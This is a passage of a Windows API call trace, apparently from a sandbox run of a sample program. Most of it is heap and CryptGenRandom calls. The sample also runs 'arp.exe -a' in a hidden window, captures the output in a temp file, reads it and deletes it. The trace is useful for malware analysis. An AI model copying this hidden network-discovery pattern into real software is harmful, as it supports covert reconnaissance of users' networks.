RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f2850 [0040.287] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x606610) returned 1 [0040.287] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0040.288] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0040.288] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0040.288] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0040.288] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0040.288] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0040.288] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0040.289] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0040.289] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0040.289] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0040.290] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0040.290] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0040.290] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0040.291] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0040.291] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0040.291] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0040.292] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0040.292] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0040.292] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0040.293] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0040.293] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0040.293] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0040.293] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0040.293] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0040.293] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="ym", uUnique=0x0, lpTempFileName=0x21f2850 | out: lpTempFileName="C:\\Windows\\TEMP\\ym9D68.tmp" (normalized: "c:\\windows\\temp\\ym9d68.tmp")) returned 0x9d68 [0040.294] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0040.294] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f3060 [0040.294] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\ym9D68.tmp", lpszShortPath=0x21f3060, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\ym9D68.tmp") returned 0x1a [0040.294] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2850) returned 1 [0040.294] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0040.294] CreateFileW (lpFileName="C:\\Windows\\TEMP\\vye9D57.tmp" (normalized: "c:\\windows\\temp\\vye9d57.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x158 [0040.295] CreateFileW (lpFileName="C:\\Windows\\TEMP\\ym9D68.tmp" (normalized: "c:\\windows\\temp\\ym9d68.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0040.295] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\arp.exe", lpCommandLine="C:\\Windows\\system32\\\\arp.exe -a", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f9ec*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x158, hStdError=0x15c), lpProcessInformation=0x18f9b8 | out: lpCommandLine="C:\\Windows\\system32\\\\arp.exe -a", lpProcessInformation=0x18f9b8*(hProcess=0x164, hThread=0x160, dwProcessId=0x8ec, dwThreadId=0x8fc)) returned 1 [0040.877] NtClose (Handle=0x160) returned 0x0 [0040.877] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0xea60) returned 0x0 [0044.528] NtClose (Handle=0x158) returned 0x0 [0044.528] NtClose (Handle=0x15c) returned 0x0 [0044.529] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0044.530] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\vye9D57.tmp" (normalized: "c:\\windows\\temp\\vye9d57.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f904 | out: lpFileInformation=0x18f904*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3783eab0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x3783eab0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x3a01db30, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x17a)) returned 1 [0044.530] CreateFileW (lpFileName="C:\\Windows\\TEMP\\vye9D57.tmp" (normalized: "c:\\windows\\temp\\vye9d57.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0044.531] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x18f948, lpLastWriteTime=0x18f948) returned 0 [0044.531] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x18f934 | out: lpFileSizeHigh=0x18f934*=0x0) returned 0x17a [0044.531] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f940*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f940*=0) returned 0x0 [0044.531] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x180) returned 0x21f2850 [0044.531] ReadFile (in: hFile=0x15c, lpBuffer=0x21f2850, nNumberOfBytesToRead=0x17a, lpNumberOfBytesRead=0x18f974, lpOverlapped=0x0 | out: lpBuffer=0x21f2850*, lpNumberOfBytesRead=0x18f974*=0x17a, lpOverlapped=0x0) returned 1 [0044.531] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x180) returned 0x21f29d8 [0044.532] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2850) returned 1 [0044.532] NtClose (Handle=0x15c) returned 0x0 [0044.532] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\vye9D57.tmp" (normalized: "c:\\windows\\temp\\vye9d57.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3783eab0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x3783eab0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x3a01db30, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x17a)) returned 1 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x184) returned 0x21f3468 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9210 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9330 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9378 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f93c0 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9408 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9450 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9498 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f94e0 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9528 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9570 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f95b8 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9600 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9648 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9690 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f96d8 [0044.532] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9720 [0044.532] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\vye9D57.tmp", dwFileAttributes=0x80) returned 1 [0044.532] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\vye9D57.tmp" (normalized: "c:\\windows\\temp\\vye9d57.tmp")) returned 1 [0044.533] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\ym9D68.tmp" (normalized: "c:\\windows\\temp\\ym9d68.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37864c10, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x37864c10, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x37864c10, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0044.533] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\ym9D68.tmp", dwFileAttributes=0x80) returned 1 [0044.534] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\ym9D68.tmp" (normalized: "c:\\windows\\temp\\ym9d68.tmp")) returned 1 [0044.534] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x180) returned 0x21f2850 [0044.534] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f29d8) returned 1 [0044.535] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0044.535] NtClose (Handle=0x164) returned 0x0 [0044.535] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f3060) returned 1 [0044.535] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2c58) returned 1 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x180) returned 0x21f29d8 [0044.536] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2850) returned 1 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed630 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed278 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f97b0 [0044.536] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed268 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f97f8 [0044.536] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed258 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9840 [0044.536] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2f8 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9888 [0044.536] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x20) returned 0x21ebc08 [0044.536] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed630) returned 1 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed308 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0044.536] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed318 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9918 [0044.536] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.536] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed328 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9960 [0044.537] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed338 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0044.537] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x30) returned 0x21eff98 [0044.537] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebc08) returned 1 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed348 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x30) returned 0x21ebc08 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed358 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99f0 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed368 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a38 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed378 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a80 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed388 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9ac8 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed398 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3a8 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b58 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3b8 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9ba0 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3c8 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9be8 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3d8 [0044.537] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c30 [0044.537] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f97b0) returned 1 [0044.537] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed278) returned 1 [0044.537] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f97f8) returned 1 [0044.537] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed268) returned 1 [0044.537] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9840) returned 1 [0044.537] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed258) returned 1 [0044.537] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9888) returned 1 [0044.537] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2f8) returned 1 [0044.537] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed308) returned 1 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9918) returned 1 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed318) returned 1 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9960) returned 1 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed328) returned 1 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed338) returned 1 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed348) returned 1 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eff98) returned 1 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed630 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed348 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed348) returned 1 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed630) returned 1 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed630 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed348 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed338 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9960 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed328 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9918 [0044.538] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed318 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed648 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed308 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2f8 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9888 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed258 [0044.538] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9840 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed268 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f97f8 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed348) returned 1 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9960) returned 1 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed338) returned 1 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9918) returned 1 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed328) returned 1 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed318) returned 1 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed630) returned 1 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed630 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed318 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed328 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9918 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed338 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9960 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed348 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed308) returned 1 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9888) returned 1 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2f8) returned 1 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9840) returned 1 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed258) returned 1 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f97f8) returned 1 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed268) returned 1 [0044.539] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed648) returned 1 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed648 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed268 [0044.539] RtlAllocateHeap (HeapHandle=0x21e0000, 